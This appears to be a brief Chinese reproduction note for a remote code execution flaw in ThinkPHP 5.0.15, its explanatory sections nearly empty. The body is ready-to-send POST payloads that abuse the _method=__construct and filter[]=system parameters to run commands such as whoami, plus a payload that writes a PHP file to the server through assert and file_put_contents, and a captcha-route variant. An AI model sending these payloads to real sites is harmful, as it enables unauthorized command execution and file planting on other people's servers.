Thinkphp 5.0.15
===============

一、漏洞简介
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二、漏洞影响
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三、复现过程
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> https://www.0-sec.org/?s=index/index

    post
    
    s=whoami&_method=__construct&method=POST&filter[]=system
    aaaa=whoami&_method=__construct&method=GET&filter[]=system
    _method=__construct&method=GET&filter[]=system&get[]=whoami
    c=system&f=calc&_method=filter

> 写shell

    POST
    
    s=file_put_contents('zerosec.php','<?php phpinfo();')&_method=__construct&method=POST&filter[]=assert

> 有captcha路由时无需debug=true
>
> https://www.0-sec.org/?s=captcha/calc

    POST 
    
    _method=__construct&filter[]=system&method=GET